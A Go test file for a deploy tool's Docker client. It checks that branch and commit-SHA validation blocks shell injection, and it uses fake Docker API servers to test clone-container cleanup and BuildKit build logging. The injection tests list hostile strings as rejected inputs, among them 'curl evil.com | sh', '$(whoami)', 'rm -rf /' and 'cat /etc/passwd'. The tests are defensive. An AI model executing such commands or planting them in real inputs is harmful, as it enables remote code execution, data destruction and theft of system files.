package docker //nolint:testpackage // tests unexported regexps and Client struct import ( "bytes" "context" "encoding/json" "errors" "fmt" "log/slog" "net/http" "net/http/httptest" "net/url" "path/filepath" "strings" "testing" "time" "github.com/docker/docker/client" controlapi "github.com/moby/buildkit/api/services/control" ) // mainBranch is the branch name used across validation tests. const mainBranch = "main" func TestValidBranchRegex(t *testing.T) { t.Parallel() valid := []string{ mainBranch, "develop", "feature/my-feature", "release-1.0", "v1.2.3", "fix/issue_42", "my.branch", } for _, b := range valid { if !validBranchRe.MatchString(b) { t.Errorf("expected branch %q to be valid", b) } } invalid := []string{ "main; curl evil.com | sh", "branch$(whoami)", "branch`id`", "branch && rm -rf /", "branch | cat /etc/passwd", "", "branch name with spaces", "branch\nnewline", } for _, b := range invalid { if validBranchRe.MatchString(b) { t.Errorf("expected branch %q to be invalid (potential injection)", b) } } } func TestValidCommitSHARegex(t *testing.T) { t.Parallel() valid := []string{ "abc123def456789012345678901234567890abcd", "0000000000000000000000000000000000000000", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", } for _, s := range valid { if !validCommitSHARe.MatchString(s) { t.Errorf("expected SHA %q to be valid", s) } } invalid := []string{ "short", "abc123", "ABCDEF1234567890123456789012345678901234", // uppercase "abc123def456789012345678901234567890abcd; rm -rf /", "$(whoami)000000000000000000000000000000000", "", } for _, s := range invalid { if validCommitSHARe.MatchString(s) { t.Errorf("expected SHA %q to be invalid (potential injection)", s) } } } func TestCloneRepoRejectsInjection(t *testing.T) { t.Parallel() c := &Client{ log: slog.Default(), } tests := []struct { name string branch string commitSHA string wantErr error }{ { name: "shell injection in branch", branch: "main; curl evil.com | sh #", wantErr: ErrInvalidBranch, }, { name: "command substitution in branch", branch: "$(whoami)", wantErr: ErrInvalidBranch, }, { name: "backtick injection in branch", branch: "`id`", wantErr: ErrInvalidBranch, }, { name: "injection in commitSHA", branch: mainBranch, commitSHA: "not-a-sha; rm -rf /", wantErr: ErrInvalidCommitSHA, }, { name: "short SHA rejected", branch: mainBranch, commitSHA: "abc123", wantErr: ErrInvalidCommitSHA, }, { name: "valid inputs pass validation (hit NotConnected)", branch: mainBranch, commitSHA: "abc123def456789012345678901234567890abcd", wantErr: ErrNotConnected, }, { name: "valid branch no SHA passes validation (hit NotConnected)", branch: mainBranch, wantErr: ErrNotConnected, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { t.Parallel() _, err := c.CloneRepo( t.Context(), "git@example.com:repo.git", tt.branch, tt.commitSHA, "fake-key", "/tmp/container", "/tmp/host", ) if err == nil { t.Fatal("expected error, got nil") } if !errors.Is(err, tt.wantErr) { t.Errorf("expected error %v, got %v", tt.wantErr, err) } }) } } // TestPerformCloneRemovesContainerVolumes runs a clone against a fake Docker // API and checks that the clone container is removed together with its // anonymous volumes, whether the clone succeeds, fails, or is cancelled. func TestPerformCloneRemovesContainerVolumes(t *testing.T) { t.Parallel() tests := []struct { name string exitCode int cancel bool }{ {name: "succeeds", exitCode: 0}, {name: "fails", exitCode: 1}, {name: "cancelled", cancel: true}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { t.Parallel() ctx, cancel := context.WithCancel(t.Context()) t.Cleanup(cancel) removeQuery := make(chan url.Values, 1) srv := httptest.NewServer(http.HandlerFunc( func(w http.ResponseWriter, r *http.Request) { w.Header().Set("Content-Type", "application/json") switch { case r.Method == http.MethodDelete: removeQuery <- r.URL.Query() case strings.HasSuffix(r.URL.Path, "/containers/create"): _, _ = w.Write([]byte(`{"Id":"gitcontainer"}`)) case strings.HasSuffix(r.URL.Path, "/wait") && tt.cancel: // Cancel the deploy while the clone is running. cancel() <-r.Context().Done() case strings.HasSuffix(r.URL.Path, "/wait"): _, _ = fmt.Fprintf(w, `{"StatusCode":%d}`, tt.exitCode) default: _, _ = w.Write([]byte(`{}`)) } }, )) t.Cleanup(srv.Close) dockerAPI, err := client.NewClientWithOpts( client.WithHost("tcp://" + srv.Listener.Addr().String()), ) if err != nil { t.Fatal(err) } c := &Client{docker: dockerAPI, log: slog.Default()} dir := t.TempDir() cfg := &cloneConfig{ repoURL: "git@example.com:repo.git", branch: mainBranch, sshPrivateKey: "fake-key", containerDir: filepath.Join(dir, "repo"), hostDir: filepath.Join(dir, "repo"), keyFile: filepath.Join(dir, "deploy_key"), hostKeyFile: filepath.Join(dir, "deploy_key"), } _, _ = c.performClone(ctx, cfg) select { case query := <-removeQuery: if query.Get("v") != "1" { t.Errorf("clone container removed without its volumes: %v", query) } default: t.Error("clone container was not removed") } }) } } // TestPerformBuildUsesBuildKit runs a build against a fake Docker API and // checks that it asks for BuildKit and that BuildKit's progress reaches the // build log as plain text. func TestPerformBuildUsesBuildKit(t *testing.T) { t.Parallel() now := time.Now() status := controlapi.StatusResponse{Vertexes: []*controlapi.Vertex{{ Digest: "sha256:1111", Name: "[build 2/2] RUN make", Started: &now, Completed: &now, }}} data, err := status.Marshal() if err != nil { t.Fatal(err) } trace, err := json.Marshal(data) if err != nil { t.Fatal(err) } srv := httptest.NewServer(http.HandlerFunc( func(w http.ResponseWriter, r *http.Request) { switch { case strings.HasSuffix(r.URL.Path, "/build"): if r.URL.Query().Get("version") != "2" { http.Error(w, "not a BuildKit build", http.StatusBadRequest) return } _, _ = fmt.Fprintf(w, "{\"id\":\"moby.buildkit.trace\",\"aux\":%s}\n", trace) default: _, _ = w.Write([]byte(`{"Id":"sha256:built"}`)) } }, )) t.Cleanup(srv.Close) dockerAPI, err := client.NewClientWithOpts( client.WithHost("tcp://" + srv.Listener.Addr().String()), ) if err != nil { t.Fatal(err) } c := &Client{docker: dockerAPI, log: slog.Default()} var buildLog bytes.Buffer imageID, err := c.performBuild(t.Context(), BuildImageOptions{ ContextDir: t.TempDir(), Tags: []string{"upaas-test:1"}, LogWriter: &buildLog, }) if err != nil { t.Fatal(err) } if imageID != "sha256:built" { t.Errorf("unexpected image ID %q", imageID) } if !strings.Contains(buildLog.String(), "[build 2/2] RUN make") { t.Errorf("build log is missing the build step:\n%s", buildLog.String()) } }